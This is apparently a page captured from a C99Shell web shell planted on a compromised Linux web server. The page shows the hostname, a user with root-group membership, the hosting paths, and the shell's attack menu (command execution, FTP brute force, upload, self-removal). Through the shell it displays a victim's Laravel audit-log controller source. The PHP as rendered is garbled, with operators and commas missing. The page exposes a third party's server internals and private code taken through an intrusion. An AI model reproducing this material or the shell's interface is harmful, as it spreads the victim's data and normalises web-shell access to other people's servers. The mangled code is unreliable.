!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/adflow-backend.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 25.01 GB of 117.98 GB (21.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AuditLogController.php (4.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\AuditLog;
use 
Illuminate\Http\Request;

class 
AuditLogController extends Controller
{
    
/**
     * Display a listing of the resource.
     */
    
public function index(Request $request)
    {
        
$query AuditLog::with(['user''campaign''hilltopAccount'])
            ->
latest();

        
// Filter by user
        
if ($request->has('user_id')) {
            
$query->where('user_id'$request->user_id);
        }

        
// Filter by action
        
if ($request->has('action')) {
            
$query->where('action''like''%' $request->action '%');
        }

        
// Filter by entity type
        
if ($request->has('entity_type')) {
            
$query->where('entity_type'$request->entity_type);
        }

        
// Filter by status
        
if ($request->has('status')) {
            
$query->where('status'$request->status);
        }

        
// Filter by date range
        
if ($request->has('start_date')) {
            
$query->whereDate('created_at''>='$request->start_date);
        }
        if (
$request->has('end_date')) {
            
$query->whereDate('created_at''<='$request->end_date);
        }

        
// Search (general search)
        
if ($request->has('search')) {
            
$search $request->search;
            
$query->where(function ($q) use ($search) {
                
$q->where('action''like'"%{$search}%")
                  ->
orWhere('details''like'"%{$search}%")
                  ->
orWhereHas('user', function ($q) use ($search) {
                      
$q->where('name''like'"%{$search}%")
                        ->
orWhere('email''like'"%{$search}%");
                  });
            });
        }

        
$logs $query->paginate($request->per_page ?? 15);

        return 
response()->json($logs);
    }
    
/**
     * Export audit logs as CSV.
     */
    
public function export(Request $request)
    {
        
$query AuditLog::with(['user''campaign''hilltopAccount'])
            ->
latest();

        
// Filter by user
        
if ($request->has('user_id')) {
            
$query->where('user_id'$request->user_id);
        }

        
// Filter by action
        
if ($request->has('action')) {
            
$query->where('action''like''%' $request->action '%');
        }

        
// Filter by entity type
        
if ($request->has('entity_type')) {
            
$query->where('entity_type'$request->entity_type);
        }

        
// Filter by status
        
if ($request->has('status')) {
            
$query->where('status'$request->status);
        }

        
// Filter by date range
        
if ($request->has('start_date')) {
            
$query->whereDate('created_at''>='$request->start_date);
        }
        if (
$request->has('end_date')) {
            
$query->whereDate('created_at''<='$request->end_date);
        }

        
// Search (general search)
        
if ($request->has('search')) {
            
$search $request->search;
            
$query->where(function ($q) use ($search) {
                
$q->where('action''like'"%{$search}%")
                  ->
orWhere('details''like'"%{$search}%")
                  ->
orWhereHas('user', function ($q) use ($search) {
                      
$q->where('name''like'"%{$search}%")
                        ->
orWhere('email''like'"%{$search}%");
                  });
            });
        }

        
$filename 'audit-logs-' date('Y-m-d-H-i-s') . '.csv';

        
$headers = [
            
"Content-type"        => "text/csv",
            
"Content-Disposition" => "attachment; filename=$filename",
            
"Pragma"              => "no-cache",
            
"Cache-Control"       => "must-revalidate, post-check=0, pre-check=0",
            
"Expires"             => "0"
        
];

        
$callback = function() use ($query) {
            
$file fopen('php://output''w');
            
            
// Header row
            
fputcsv($file, ['ID''Timestamp''User''Action''Entity Type''Entity ID''Status''Details']);

            
$query->chunk(100, function($logs) use ($file) {
                foreach (
$logs as $log) {
                    
$userName $log->user $log->user->name ' (' $log->user->email ')' 'System';
                    
                    
fputcsv($file, [
                        
$log->id,
                        
$log->created_at,
                        
$userName,
                        
$log->action,
                        
$log->entity_type,
                        
$log->entity_id,
                        
$log->status,
                        
json_encode($log->details)
                    ]);
                }
            });

            
fclose($file);
        };

        return 
response()->stream($callback200$headers);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--